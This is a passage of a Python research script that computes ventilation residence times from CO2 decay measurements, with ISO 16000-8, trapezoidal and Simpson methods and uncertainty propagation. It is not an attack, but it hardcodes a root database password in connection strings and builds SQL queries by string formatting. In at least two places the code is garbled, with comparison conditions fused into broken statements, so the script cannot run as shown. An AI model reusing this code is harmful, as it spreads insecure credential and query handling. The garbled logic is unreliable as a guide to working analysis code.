ub = T/2*(1+filter_maxTrel) # upper bound of considered cycles\n \n time = pd.read_sql_query(\"SELECT * FROM testdb.timeframes;\", con = engine) \n #standard syntax to fetch a table from Mysql; In this case a table with the \n # short-names of the measurements, all the start and end times, the DB-name \n # of the measurement and the required table-names of the DB/schema is loaded into a dataframe. \n \n #%% Load relevant data\n t = time.index[time['short_name'].isin([experiment])==True].tolist()[0] # to select the experiment (see Timeframes.xlsx)\n \n start = str(time[\"Start\"][time.index[time['short_name'].isin([experiment])==True].tolist()[0]] - dt.timedelta(minutes=20))\n end = str(time[\"End\"][time.index[time['short_name'].isin([experiment])==True].tolist()[0]])\n\n t0 = time[\"Start\"][t]\n # actual start of the experiment, out of the dataframe \"time\"\n \n \n table = time[\"tables\"][t].split(\",\") #Name of the ventilation device\n try: \n if aperture_sensor in aperture_sensor:\n pass\n else:\n raise ValueError\n except ValueError:\n prYellow('ValueError: The sensor you selected is not an aperture sensor of the experiment. Select one of these: {}'.format(table))\n return 'ValueError: The sensor you selected is not an aperture sensor of the experiment. Select one of these: {}'.format(table)\n \n dum = [[\"Experiment\", experiment ], [\"Sensor\", aperture_sensor]] # Creates a list of 2 rows filled with string tuples specifying the experiment and the sensor.\n if experimentname:\n print(tabulate(dum)) # Prints the inut details in a table\n else:\n pass\n \n # database = time[\"database\"][time.index[time['short_name'].isin([experiment])==True].tolist()[0]] # Selects the name of the database as a string\n database = experimentglo.database\n \n #%%% Load background data\n \n \n \n #background, dummy = outdoor(str(t0), str(end), plot = False) # Syntax to call the background concentration function, \"dummy\" is only necessary since the function \"outdoor\" returns a tuple of a dataframe and a string.\n # background = background[\"CO2_ppm\"].mean() \n background = experimentglo.aussen()['meanCO2'] # Future: implement cyclewise background concentration; Till now it takes the mean outdoor concentration of the whole experiment.\n background_std = experimentglo.aussen()['sgm_CO2'] \n \n #%%% Load data of the experiment and the selected sensor\n \n df = pd.read_sql_query(\"SELECT * FROM {}.{} WHERE datetime BETWEEN '{}' AND\\\n '{}'\".format(database, aperture_sensor, start, end), con = engine)\n df = df.loc[:,[\"datetime\", \"CO2_ppm\"]]\n df[\"original\"] = df[\"CO2_ppm\"] # Copies the original absolute CO2-concentrations data form CO2_ppm in a \"backup\"-column originals \n df.columns = [\"datetime\", \"original\", \"CO2_ppm\"] # changes the order of the columns to the defined one\n \n # df[\"original\"] = df[\"CO2_ppm\"] # Copies the original absolute CO2-concentrations data form CO2_ppm in a \"backup\"-column originals; this one can be deleted \n \n df[\"CO2_ppm\"] = df[\"CO2_ppm\"] - background # substracts the background concentrations -> CO2_ppm contains CO2-concentration of some instance of time above background concentration.\n \n if df[\"CO2_ppm\"].min() < 0: # Sometimes the accumulated amount of CO2 concentraion becomes negative. This is not possible and would lead to a mistake for the integral calculation. An artificial offset lifts the whole decay curve at >=0.\n offset = df[\"CO2_ppm\"].min()\n df[\"CO2_ppm\"] = df[\"CO2_ppm\"] - offset\n \n df = df.loc[~df.duplicated(subset=[\"datetime\"])] # Checks for duplicated in datetime and removed them; @Krishna: How can such a duplicate occur?\n diff = (df[\"datetime\"][1]-df[\"datetime\"][0]).seconds # integer diff in s; Calculates the length of the time interval between two timestamps \n df = df.set_index(\"datetime\") # Resets the index of the dataframe df from the standard integer {0, 1, 2, ...} to be exchanged by the datetime column containing the timestamps.\n \n t01 = t0\n while not(t01 in df.index.to_list()): # The t0 from the excel sheet may not be precice that the sensor starts \n t01 = t01 + dt.timedelta(seconds=1) # - starts at the same time so i used this while loop to calculate the \n # - the closest t0 after the original t0\n \n df[\"roll\"] = df[\"CO2_ppm\"].rolling(int(T/diff)).mean() # moving average for 2 minutes, used to calculate Cend; T = 120s is the period time of the push-pull ventilation devices which compose the ventilation system. \n df[\"roll\"] = df[\"roll\"].fillna(method='bfill')\n \n c0 = df[\"roll\"].loc[t01] # C0; @DRK: Check if c0 = df[\"roll\"].loc[t0] is better here. ## ORIGINAL: c0 = df[\"CO2_ppm\"].loc[t0] \n Cend37 = round((c0)*0.37, 2) \n df2 = df # @DRK: From this line 101 schould be changed. \n \n cend = df.loc[df2[\"roll\"].le(Cend37)] # Cend: Sliced df of the part of the decay curve below the 37 percent limit\n tn = df.index[-1]\n \n if len(cend) == 0: # Syntax to find the tn of the experiment\n print(\"The device has not reached 37% of its initial concentration\")\n else:\n pass\n \n \n #%%% Increase resolution\n \n df = df.resample(\"5S\").mean()\n \n df['original'] = df['original'].interpolate(method='polynomial', limit_direction='forward',order=2)\n df['CO2_ppm'] = df['CO2_ppm'].interpolate(method='polynomial', limit_direction='forward',order=2)\n df['roll'] = df['roll'].interpolate(method='polynomial', limit_direction='forward',order=2)\n \n #%%% Find max min points\n from scipy.signal import argrelextrema # Calculates the relative extrema of data.\n n = round(T / (2*diff)) # How many points on each side to use for the comparison to consider comparator(n, n+x) to be True.; @DRK: This value should depend on diff and T (period time of the push-pull devices). n = T / (2*diff)\n \n df['max'] = df.iloc[argrelextrema(df['CO2_ppm'].values, np.greater_equal,\\\n order=n)[0]]['CO2_ppm'] # Gives all the peaks; \"np.greater_equal\" is a callable function which argrelextrema shall use to compare to arrays before and after the point currently evaluated by argrelextrema.\n df['min'] = df.iloc[argrelextrema(df['CO2_ppm'].values, np.less_equal,\\\n order=n)[0]]['CO2_ppm'] # Gives all the valleys; \"np.less_equal\" is a callable function which argrelextrema shall use to compare to arrays before and after the point currently evaluated by argrelextrema. \n \n #%%% Plot Original\n \n if plot:\n fig,ax = plt.subplots()\n df.plot(title = \"original \" + experiment, color = [ 'silver', 'green', 'orange'], ax = ax)\n df['max'].plot(marker='o', ax = ax) # This needs to be verified with the graph if python recognizes all peaks\n df['min'].plot(marker=\"v\", ax = ax) # - and valleys. If not adjust the n value.\n else:\n pass\n \n #%%% Load data for the occupied space V3\n \n alpha_mean, df_alpha, df_indoor = experimentglo.mean_curve()\n alpha_mean_u = ufloat(alpha_mean[0], alpha_mean[1])\n \n dfin_dCmean = df_indoor.loc[:,['mean_delta', 'std mean_delta']]\n tmeancurve = dfin_dCmean.index.tolist()[0]\n while not(tmeancurve in df.index.to_list()): # The t0 from the excel sheet may not be precice that the sensor starts \n tmeancurve = tmeancurve + dt.timedelta(seconds=1)\n datetime_index = pd.date_range(tmeancurve, dfin_dCmean.index.tolist()[-1], freq='5s')\n dfin_dCmean = dfin_dCmean.reindex(datetime_index, method='bfill')\n \n if t0 < dfin_dCmean.index.tolist()[0]:\n mean_delta_0_room = dfin_dCmean.loc[dfin_dCmean.index.tolist()[0]]\n deltat_mean = dfin_dCmean.index.tolist()[0] - t0\n prYellow('ATTENTION: mean_delta_room starts {} after t0 = {}!'.format(deltat_mean, t0))\n else:\n mean_delta_0_room = dfin_dCmean.loc[t0]\n mean_delta_0_room_u = ufloat(mean_delta_0_room[0],mean_delta_0_room[1])\n \n #%%%%% Add mean and exhaust concentrations indoor (V3) to the dfin_dCmean\n '''\n mean concentrations: \n Based on the calculated spatial and statistical mean air\n age in the occupied space and the spacial average initial \n concentration in the occupied space at t0.\n '''\n \n # count = 0\n dfin_dCmean['room_av'] = pd.Series(dtype='float64')\n dfin_dCmean['std room_av'] = pd.Series(dtype='float64')\n dfin_dCmean['room_exh'] = pd.Series(dtype='float64')\n dfin_dCmean['std room_exh'] = pd.Series(dtype='float64')\n dfin_dCmean.reset_index(inplace=True)\n if 'index' in dfin_dCmean.columns:\n dfin_dCmean = dfin_dCmean.rename(columns={\"index\": \"datetime\"})\n else:\n pass\n \n for count in range(len(dfin_dCmean)): \n deltat = dfin_dCmean['datetime'][count]-t0\n deltat = deltat.total_seconds()/3600\n '''\n mean concentrations: \n Based on the calculated spatial and statistical mean air\n age in the occupied space and the spacial average initial \n concentration in the occupied space at t0.\n ''' \n value = mean_delta_0_room_u*umath.exp(-1/(alpha_mean_u)*deltat)\n dfin_dCmean['room_av'][count] = value.n\n dfin_dCmean['std room_av'][count] = value.s\n \n '''\n exhaust concentrations: \n Based on the calculated spatial and statistical mean air\n age in the occupied space and the spacial average initial \n concentration in the occupied space at t0.\n '''\n value = mean_delta_0_room_u*umath.exp(-1/(2*alpha_mean_u)*deltat)\n dfin_dCmean['room_exh'][count] = value.n\n dfin_dCmean['std room_exh'][count] = value.s\n \n # count = count + 1\n \n dfin_dCmean = dfin_dCmean.set_index('datetime') \n \n \n #%%% Filter supply and exhaust phases \n df.loc[df['min'] > -400, 'mask'] = False # Marks all min as False; @DRK: Why is this \"-400\" necessary? \n df.loc[df['max'] > 0, 'mask'] = True # Marks all max as True; @DRK: This is just a back-up right? For the case I use for debugging there is no change happening for df.\n df[\"mask\"] = df[\"mask\"].fillna(method='ffill').astype(\"bool\") # Use forward to fill True and False \n df = df.dropna(subset= [\"mask\"]) # In case there are NaNs left (at the beginning of the array) it drops/removes the whole time stamps/rows.\n df[\"sup\"] = df[\"mask\"] # Create seperate columns for sup and exhaust; @DRK: Why is this necessary? At the end of these six lines of code df has 3 column {mask, sup, exh} containing all there the same data.\n df[\"exh\"] = df[\"mask\"]\n \n \n df.loc[df['min'] > 0, 'sup'] = True # The valleys have to be belong to supply as well \n df.loc[df['max'] > 0, 'exh'] = False # The peaks have to belong to max, before it was all filled be backfill\n \n \n df_sup = df.loc[df[\"sup\"].to_list()] # Extract all the supply phases form df. Meaning only the timestamps maeked with \"True\" in df[\"sup\"] are selected. \n \n a = df_sup.resample(\"5S\").mean() # Resampled beacuase, the time stamps are missing after slicing out the supply phases form df. The option \"5S\" adds the now missing time stamps again but without data. This is only necessary to plot the arrays flawlessly later in the same graphs again. \n \n \n df_sup2 = a.loc[:,[\"CO2_ppm\"]]\n \n df_exh = df.loc[~df[\"exh\"].values]\n b = df_exh.resample(\"5S\").mean()\n df_exh2 = b.loc[:,[\"CO2_ppm\"]]\n \n sup_exh_df = pd.concat([dfin_dCmean, df_sup2, df_exh2], axis = 1).reset_index()\n sup_exh_df.columns = [\"datetime\", \n \"meas room_av\", \"std meas room_av\", \n \"calc room_av\", \"std calc room_av\", \n \"calc room_exh\", \"std calc room_exh\", \n \"supply\", \"exhaust\"]\n rows = sup_exh_df[~sup_exh_df['calc room_exh'].isnull()].index.tolist()\n sup_exh_df['d calc exh-av'] = np.sqrt(np.power(sup_exh_df[\"calc room_exh\"].loc[rows],2)\\\n - np.power(sup_exh_df[\"calc room_av\"].loc[rows],2))\n sup_exh_df['std d calc exh-av'] = np.sqrt(np.power(sup_exh_df[\"std calc room_exh\"].loc[rows],2)\\\n + np.power(sup_exh_df[\"std calc room_av\"].loc[rows],2))\n \n #%%%%%% Calculation of the weight factor of the current device period\n \n ddCmax_exhav = sup_exh_df.loc[sup_exh_df['d calc exh-av'].idxmax()]\n ddCmax_exhav = ddCmax_exhav.filter(['datetime','d calc exh-av','std d calc exh-av'])\n \n #%%% Plot Matplotlib # This can be verified from this graph \n# =============================================================================\n# if plot:\n# #%%%% supply\n# plt.figure()\n# a[\"CO2_ppm\"].plot(title = \"supply \" + experiment) \n# a[\"CO2_ppm\"].plot(title = \"supply\") \n# \n# #%%%% exhaust\n# b[\"CO2_ppm\"].plot(title = \"exhaust \" + experiment) # Similar procedure is repeated from exhaust\n# plt.figure()\n# b[\"CO2_ppm\"].plot(title = \"exhaust\") # Similar procedure is repeated from exhaust\n# \n# #%%%% Plot for extra prespective\n# fig,ax1 = plt.subplots()\n# \n# df_sup.plot(y=\"CO2_ppm\", style=\"yv-\", ax = ax1, label = \"supply\")\n# df_exh.plot(y=\"CO2_ppm\", style=\"r^-\", ax = ax1, label = \"exhaust\")\n# else:\n# pass\n# =============================================================================\n \n #%%% Plot Plotly\n if plot:\n pd.options.plotting.backend = \"plotly\" # NOTE: This changes the plot backend which should be resetted after it is not needed anymore. Otherwise it will permanently cause problems in future, since it is a permanent change.\n \n import plotly.graph_objects as go\n fig = go.Figure()\n fig.add_trace(go.Scatter(#title = time[\"short_name\"][t],\n name='meas room_av',\n x = sup_exh_df[\"datetime\"], \n y = sup_exh_df[\"meas room_av\"],\n #error_y=dict(value=sup_exh_df[\"std meas room_av\"].max())\n )\n )\n fig.add_trace(go.Scatter(name='calc room_av',\n x = sup_exh_df[\"datetime\"], \n y = sup_exh_df[\"calc room_av\"],\n #error_y = dict(value=sup_exh_df[\"std calc room_av\"].max())\n )\n )\n fig.add_trace(go.Scatter(name='calc room_exh',\n x = sup_exh_df[\"datetime\"], \n y = sup_exh_df[\"calc room_exh\"],\n #error_y=dict(value=sup_exh_df[\"std calc room_exh\"].max())\n )\n )\n fig.add_trace(go.Scatter(name='d calc exh-av',\n x = sup_exh_df[\"datetime\"], \n y = sup_exh_df[\"d calc exh-av\"],\n #error_y=dict(value=sup_exh_df[\"std d calc exh-av\"].max())\n )\n )\n fig.add_trace(go.Scatter(name='supply',x=sup_exh_df[\"datetime\"], y = sup_exh_df[\"supply\"]))\n fig.add_trace(go.Scatter(name='exhaust',x=sup_exh_df[\"datetime\"], y = sup_exh_df[\"exhaust\"]))\n \n fig.update_layout(\n title=\"{} {}\".format(database, aperture_sensor),\n xaxis_title=\"Zeit t in hh:mm:ss\",\n yaxis_title=r'Verweilzeit $\\bar{t}_1$',\n legend_title=\"Legende\",\n font=dict(\n family=\"Segoe UI\",\n size=18,\n color=\"black\"\n )\n )\n \n fig.show()\n \n import plotly.io as pio\n \n pio.renderers.default='browser'\n pd.options.plotting.backend = \"matplotlib\" # NOTE: This is a reset and useful in case the plotbackend has been changed by any previously (even befor machine shut-downs).\n else:\n pass\n \n #%% Marking dataframes supply\n \"\"\"Marks every supply dataframe with a number for later anaysis \"\"\"\n n = 1\n df_sup3 = df_sup2.copy().reset_index() \n \n start_date = str(t0); end_date = str(tn) # CHANGE HERE \n \n mask = (df_sup3['datetime'] > start_date) & (df_sup3['datetime'] <= end_date)\n \n df_sup3 = df_sup3.loc[mask]\n \n \n for i,j in df_sup3.iterrows(): \n # *.interrows() will always return a tuple encapsulating an int for the \n # index of the dataframe where it is applied to and a series containing \n # the data of row selected. Therefore it is good to seperate both before in e.g. i,j .\n try:\n # print(not pd.isnull(j[\"CO2_ppm\"]), (np.isnan(df_sup3[\"CO2_ppm\"][i+1])))\n if (not pd.isnull(j[\"CO2_ppm\"])) and (np.isnan(df_sup3[\"CO2_ppm\"][i+1])):\n df_sup3.loc[i,\"num\"] = n\n n = n+1\n elif not pd.isnull(j[\"CO2_ppm\"]):\n df_sup3.loc[i,\"num\"] = n\n except KeyError:\n pass\n # print(\"ignore the key error\")\n \n #%%%% Exporrt a file with all the supply curves sorted in a matrix for an excel diagram \n df_sup_list = []\n dummy_df = pd.DataFrame(columns=['datetime', 'CO2_ppm', 'num'])\n for i in range(1, int(df_sup3['num'].max()+1)):\n\n try:\n if export_sublist and len(df_sup3.loc[df_sup3[\"num\"]==i]) > 3:\n dummy_df = dummy_df.append(df_sup3.loc[df_sup3[\"num\"]==(i)])\n dummy_df = dummy_df.rename(columns = {'CO2_ppm':'CO2_ppm_{}'.format(i)})\n \n \n except KeyError:\n pass\n # print(\"ignore the key error\")\n\n df_sup_list.append(df_sup3.loc[df_sup3[\"num\"]==i])\n \n del dummy_df[\"num\"]\n if logging:\n dummy_df.to_csv(r'D:\\Users\\sauerswa\\wichtige Ordner\\sauerswa\\Codes\\Python\\Recirculation\\export\\df_sup_{}_{}.csv'.format(database, aperture_sensor), index=True) \n \n #%%% Supply tau \n # This method can be replicated in excel for crossreference\n \"\"\"Calculates tau based in ISO 16000-8\"\"\"\n \n \n if (database == \"cbo_summer\") or (database == \"cbo_winter\") or (database == \"eshl_winter\"):\n engine1 = create_engine(\"mysql+pymysql://root:Password123@localhost/{}\".format(\"cbo_calibration\"),pool_pre_ping=True)\n# engine = create_engine(\"mysql+pymysql://root:@34.107.104.23/{}\".format(\"cbo_calibration\"),pool_pre_ping=True)\n\n elif database == \"eshl_summer\":\n engine1 = create_engine(\"mysql+pymysql://root:Password123@localhost/{}\".format(\"eshl_calibration\"),pool_pre_ping=True)\n# engine = create_engine(\"mysql+pymysql://root:@34.107.104.23/{}\".format(\"eshl_calibration\"),pool_pre_ping=True)\n\n else:\n print(\"Please select a correct database\")\n \n # self.cdf1 = pd.read_sql_query(\"SELECT * FROM {}.{} WHERE datetime BETWEEN '{}' AND '{}'\".format(self.database, self.table, self.t0, self.tn), con = self.engine) \n # self.cdf2 = self.cdf1.loc[:,[\"datetime\", \"CO2_ppm\"]]\n reg_result = pd.read_sql_table(\"reg_result\", con = engine1).drop(\"index\", axis = 1)\n '''Calibration data for the particular sensor alone is filtered '''\n global res\n\n res = reg_result[reg_result['sensor'].str.lower() == aperture_sensor].reset_index(drop = True) # Contains the sensor calibration data and especially the calibration curve.\n accuracy1 = 50 # it comes from the equation of uncertainity for testo 450 XL\n accuracy2 = 0.02 # ±(50 ppm CO2 ±2% of mv)(0 to 5000 ppm CO2 )\n \n accuracy3 = 50 # the same equation for second testo 450 XL\n accuracy4 = 0.02\n \n accuracy5 = 75 # # the same equation for second tes\n accuracy6 = 0.03 # Citavi Title: Testo AG\n \n df_tau_sup = []\n s_rel_start = 1-df_sup_list[0].reset_index()['CO2_ppm'].loc[0]/mean_delta_0_room['mean_delta']\n s_cyc = 0\n for idf in df_sup_list:\n if len(idf) > 3:\n a = idf.reset_index(drop = True) # Overwride the dummy dataframe \"a\" by the currently chosen supply decay curve.\n a['CO2_ppm_reg'] = a.eval(res.loc[0, \"equation\"]) # See: https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.eval.html?highlight=pandas%20dataframe%20eval#pandas.DataFrame.eval \n a = a.rename(columns = {'CO2_ppm':'CO2_ppm_original', 'CO2_ppm_reg': 'CO2_ppm'})\n a = a.drop_duplicates(subset=['datetime'])\n a = a.loc[:, [\"datetime\", \"CO2_ppm_original\", \"CO2_ppm\"]]\n \n diff = (a[\"datetime\"][1] - a[\"datetime\"][0]).seconds\n \n a[\"runtime\"] = np.arange(0,len(a) * diff, diff)\n \n lena = a[\"runtime\"].iloc[-1]\n \n if a[\"runtime\"].iloc[-1]>T/2*(1-filter_maxTrel) and \\\n a[\"runtime\"].iloc[-1]= a[\"CO2_ppm\"].iloc[0]*0.36]\n a[\"log\"] = np.log(a[\"CO2_ppm\"])\n a = a.dropna()\n \n ### ISO 16000-8 option to calculate slope (defined to be calculated by Spread-Sheat/Excel)\n a[\"t-te\"] = a[\"runtime\"] - a[\"runtime\"][len(a)-1]\n \n a[\"lnte/t\"] = a[\"log\"][len(a)-1] - a[\"log\"] # @DRK: The slope (as defined in ISO 16000-8) was always negative since the two subtrahend where in the wrong order.\n \n a[\"slope\"] = a[\"lnte/t\"] / a[\"t-te\"]\n \n try:\n if method=='iso':\n slope = a[\"slope\"].mean()\n \n sumconz = a[\"CO2_ppm\"].iloc[1:-1].sum()\n area_sup = (diff * (a[\"CO2_ppm\"][0]/2 + sumconz +a[\"CO2_ppm\"][len(a)-1]/2))\n print('ATTENTION: ISO 16000-8 method has a weak uncertainty evaluation consider using trapezoidal method is correcting this.')\n \n elif method=='trapez':\n ### More acurate option to calculate the solpe of each (sub-)curve\n x1 = a[\"runtime\"].values\n y1 = a[\"log\"].values\n \n from scipy.stats import linregress\n slope = -linregress(x1,y1)[0]\n \n from numpy import trapz\n area_sup = trapz(a[\"CO2_ppm\"].values, dx=diff) # proof that both methods have same answer: area_sup_2 = area_sup_1\n print('ATTENTION: Trapezoidal method is used in ISO 16000-8 and here also considered in the uncertainty evaluation. However, more precise results are given by applying the Simpson-Rule.')\n \n elif method=='simpson':\n ### More acurate option to calculate the solpe of each (sub-)curve\n x1 = a[\"runtime\"].values\n y1 = a[\"log\"].values\n \n from scipy.stats import linregress\n slope = -linregress(x1,y1)[0]\n \n from scipy.integrate import simpson\n area_sup = simpson(a[\"CO2_ppm\"].values, dx=diff, even='first') # proof that both methods have same answer: area_sup_2 = area_s\n \n else:\n raise ResidenceTimeMethodError\n \n except ResidenceTimeMethodError as err:\n print(err)\n \n a.loc[[len(a)-1], \"slope\"] = slope\n \n # tail = a[\"CO2_ppm\"][len(a)-1]/slope\n a_rest = a[\"CO2_ppm\"].iloc[-1]/slope\n a_tot = area_sup + a_rest\n \n tau = a_tot/a[\"CO2_ppm\"][0]\n a[\"tau_sec\"] = tau\n \n try: \n if method=='iso':\n # Taken from DIN ISO 16000-8:2008-12, Equation D2 units are cm3.m-3.sec\n sa_num = ns_meas * (diff) * ((n - 1)/np.sqrt(n))\n \n # The uncertainty of the summed trapezoidal method itself is not covered by ISO 16000-8.\n sa_tm = 0\n \n elif method=='trapez':\n # Actually sa_num (the propagated uncertainty of the measurement) should be calculated this way\n sa_num = (diff) * ns_meas * np.sqrt((2*n-1)/2*n) \n \n # Aditionally the summed trapezoidal method itself has an uncertainty as well.\n sa_tm = diff**2/12*(a[\"runtime\"].loc[len(a)-1]-a[\"runtime\"][0])*a[\"CO2_ppm\"][0]/tau**2\n \n elif method=='simpson':\n # Actually sa_num (the propagated uncertainty of the measurement) should be calculated this way\n sa_num = 1/3*diff*ns_meas*np.sqrt(2+20*round(n/2-0.5))\n \n # Aditionally the summed trapezoidal method itself has an uncertainty as well.\n sa_tm = diff**4/2880*(a[\"runtime\"].loc[len(a)-1]-a[\"runtime\"][0])*a[\"CO2_ppm\"][0]/tau**4\n \n else:\n raise ResidenceTimeMethodError\n \n except ResidenceTimeMethodError as err:\n print(err)\n \n s_lambda = a[\"slope\"][:-1].std()/abs(a[\"slope\"][:-1].mean())\n s_phi_e = a[\"slope\"][:-1].std()/slope\n \n s_rest = np.sqrt(pow(s_lambda,2) + pow(s_phi_e,2))\n sa_rest = s_rest * a_rest\n s_area = np.sqrt(pow(sa_num,2) + pow(sa_tm,2) + pow(sa_rest,2))/a_tot\n s_total = np.sqrt(pow(s_area,2) + pow(s_rel_start,2))\n \n a.loc[:, \"s_total\"] = s_total*tau\n \n #%%%%% Calculate weighting factor \n sup_exh_df = sup_exh_df.set_index('datetime')\n \n dfslice = sup_exh_df[a[\"datetime\"][0]:a[\"datetime\"][len(a)-1]]\n dfslice = dfslice.filter(['d calc exh-av', 'std d calc exh-av'])\n a = a.set_index('datetime')\n a = pd.concat([a, dfslice], axis = 1).reset_index()\n del dfslice\n \n from scipy.integrate import simpson\n area_weight = simpson(a[\"d calc exh-av\"].values, dx=diff, even='first')\n # Actually sa_num (the propagated uncertainty of the measurement) should be calculated this way\n \n saw_num = 1/3*diff*np.mean(a[\"std d calc exh-av\"])*np.sqrt(2+20*round(n/2-0.5))\n \n # Aditionally the summed trapezoidal method itself has an uncertainty as well.\n saw_tm = diff**4/2880*(a[\"runtime\"].loc[len(a)-1]-a[\"runtime\"][0])*ddCmax_exhav[\"d calc exh-av\"]\n \n saw = np.sqrt(pow(saw_num,2) + pow(saw_tm,2))\n \n area_weight = ufloat(area_weight, saw)\n weight = area_weight/(ufloat(ddCmax_exhav[\"d calc exh-av\"],ddCmax_exhav[\"std d calc exh-av\"])*a['runtime'].iloc[-1])\n \n a.loc[:, \"weight\"] = weight.n\n a.loc[:, \"std weight\"] = weight.s\n \n a.loc[:, \"Cycle\"] = s_cyc\n \n sup_exh_df.reset_index(inplace=True)\n \n #%%%%% Summarise\n df_tau_sup.append(a)\n \n else:\n if logging:\n prRed(\"Since the supply cycle {} has a runtime of {} s it is outside [{}, {}]\".format(s_cyc, lena, lb, ub))\n pass\n \n s_cyc = s_cyc + 1\n \n else:\n pass\n #%%%% Supply tau from step-down curves \n cyclnr_sup = []\n tau_list_sup = []\n stot_list_sup = []\n weight_list_sup = []\n saw_list_sup = []\n for jdf in df_tau_sup:\n cyclnr_sup.append(jdf[\"Cycle\"][0])\n tau_list_sup.append(jdf[\"tau_sec\"][0])\n stot_list_sup.append(jdf[\"s_total\"][0])\n weight_list_sup.append(jdf[\"weight\"][0])\n saw_list_sup.append(jdf[\"std weight\"][0])\n \n df_tau_s = pd.DataFrame({'Cycle':cyclnr_sup,\n 'tau_sup':tau_list_sup, \n 'std tau_sup':stot_list_sup, \n 'weight':weight_list_sup, \n 'std weight':saw_list_sup})\n \n # Filter outliers (see https://medium.com/@stevenewmanphotography/eliminating-outliers-in-python-with-z-scores-dd72ca5d4ead)\n df_tau_s['outliers'] = find_outliers(df_tau_s['tau_sup'])\n df_tau_s = df_tau_s[df_tau_s['outliers']==False]\n \n \n '''\n Weighting factor for the supply phases is not as important since the \n residence times here are mostly normal distributed throughout the phases.\n Therefore it can be set low which means that almost all calcuated \n residence times will be considered. The range for cfac_s is 0 to 1.\n Values >= 1 will autmatically trigger that the residence times with the \n highest weighting factor will be chosen.\n '''\n cfac_s = 0.2\n df_tau_s2 = df_tau_s[df_tau_s['weight']>cfac_s]\n if len(df_tau_s2) == 0:\n df_tau_s2 = df_tau_s.nlargest(10, 'weight')\n \n tau_list_sup_u = unumpy.uarray(df_tau_s2['tau_sup'],df_tau_s2['std tau_sup'])\n weight_list_sup_u = unumpy.uarray(df_tau_s2['tau_sup'],df_tau_s2['std tau_sup']) \n \n # Mean supply phase residence time\n tau_s_u = sum(tau_list_sup_u*weight_list_sup_u)/sum(weight_list_sup_u)\n \n \n # df_tau_s = pd.DataFrame({'nom' : [], 'std' : []})\n # count = 0\n # while (count < len(tau_list_sup_u)):\n # df_tau_s.loc[count,['nom']] = tau_list_sup_u[count].n\n # df_tau_s.loc[count,['std']] = tau_list_sup_u[count].s\n # count = count + 1\n \n #%%%%% Plot: residence times of the step-down curves during supply-phase \n if plot:\n import plotly.io as pio\n \n pio.renderers.default='browser'\n pd.options.plotting.backend = \"matplotlib\"\n #######################################################################\n pd.options.plotting.backend = \"plotly\"\n \n import plotly.io as pio\n \n pio.renderers.default='browser'\n import plotly.graph_objects as go\n from plotly.subplots import make_subplots\n\n # Create figure with secondary y-axis\n fig2 = make_subplots(specs=[[{\"secondary_y\": True}]])\n \n fig2.add_trace(go.Scatter(name='Verweilzeit',\n x = df_tau_s['Cycle'], \n y = df_tau_s['tau_sup'],\n error_y=dict(value=df_tau_s['std tau_sup'].max())\n ),\n secondary_y=False,\n )\n \n fig2.add_trace(go.Scatter(name='Gewichtung',\n x = df_tau_s['Cycle'], \n y = df_tau_s['weight'],\n error_y=dict(value=df_tau_s['std weight'].max())\n ),\n secondary_y=True,\n )\n \n fig2.update_layout(\n title=\"Zuluft\",\n xaxis_title=\"Zyklusnummer\",\n yaxis_title=r'Verweilzeit $\\bar{t}_1$',\n legend_title=\"Legende\",\n font=dict(\n family=\"Segoe UI\",\n size=18,\n color=\"black\"\n )\n )\n \n fig2.show()\n \n import plotly.io as pio\n \n pio.renderers.default='browser'\n pd.options.plotting.backend = \"matplotlib\"\n \n #%% Marking dataframes exhaust\n \"\"\"Marks every exhaust dataframe with a number for later anaysis \"\"\"\n \n n = 1\n df_exh3 = df_exh2.copy().reset_index()\n \n \n mask = (df_exh3['datetime'] > start_date) & (df_exh3['datetime'] <= end_date)\n \n df_exh3 = df_exh3.loc[mask]\n \n \n for i,j in df_exh3.iterrows():\n try:\n # print(not pd.isnull(j[\"CO2_ppm\"]), (np.isnan(df_exh3[\"CO2_ppm\"][i+1])))\n if (not pd.isnull(j[\"CO2_ppm\"])) and (np.isnan(df_exh3[\"CO2_ppm\"][i+1])):\n df_exh3.loc[i,\"num\"] = n\n n = n+1\n elif (not pd.isnull(j[\"CO2_ppm\"])):\n df_exh3.loc[i,\"num\"] = n\n except KeyError:\n pass\n # print(\"ignore the key error\")\n \n \n #%%%% Exporrt a file with all the exhaust curves sorted in a matrix for an excel diagram \n df_exh_list = []\n del dummy_df\n dummy_df = pd.DataFrame(columns=['datetime', 'CO2_ppm', 'num'])\n for i in range(1, int(df_exh3.num.max()+1)):\n\n try:\n if export_sublist and len(df_sup3.loc[df_exh3[\"num\"]==i]) > 3:\n dummy_df = dummy_df.append(df_exh3.loc[df_exh3[\"num\"]==(i)])\n dummy_df = dummy_df.rename(columns = {'CO2_ppm':'CO2_ppm_{}'.format(i)})\n \n \n except KeyError:\n pass\n # print(\"ignore the key error\")\n\n df_exh_list.append(df_exh3.loc[df_exh3[\"num\"]==i])\n \n del dummy_df[\"num\"]\n if logging:\n dummy_df.to_csv(r'D:\\Users\\sauerswa\\wichtige Ordner\\sauerswa\\Codes\\Python\\Recirculation\\export\\df_exh_{}_{}.csv'.format(database, aperture_sensor), index=True) \n \n \n #%%% Exhaust tau\n # this method can be replicated in Excel for crossverification\n \n \n #%%%% Calculates tau based in area under the curve\n df_tau_exh = []\n e_cyc = 0\n for e in df_exh_list:\n if len(e) > 3:\n \n # %%%%% Structure columns\n \n b = e.reset_index(drop = True) # Overwride the dummy dataframe \"a\" by the currently chosen supply decay curve.\n b['CO2_ppm_reg'] = b.eval(res.loc[0, \"equation\"]) # See: https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.eval.html?highlight=pandas%20dataframe%20eval#pandas.DataFrame.eval \n b = b.rename(columns = {'CO2_ppm':'CO2_ppm_original', 'CO2_ppm_reg': 'CO2_ppm'})\n b = b.drop_duplicates(subset=['datetime'])\n b = b.loc[:, [\"datetime\", \"CO2_ppm_original\", \"CO2_ppm\"]]\n b = b.dropna()\n \n diff = (b[\"datetime\"][1] - b[\"datetime\"][0]).seconds\n b[\"runtime\"] = np.arange(0,len(b) * diff, diff)\n \n lenb = b[\"runtime\"].iloc[-1] \n \n if b[\"runtime\"].iloc[-1]>T/2*(1-filter_maxTrel) and b[\"runtime\"].iloc[-1]= b[\"dC 2e3e exh\"].iloc[0]*0.36]\n b[\"log\"] = np.log(b[\"dC 2e3e exh\"])\n b[\"std log\"] = b['std dC 2e3e exh']/b[\"dC 2e3e exh\"]\n b = b.dropna()\n \n #%%%%% Rename columns to usual nomenclature \n \n b = b.rename(columns = {'CO2_ppm':'CO2_ppm_reg', 'dC 2e3e 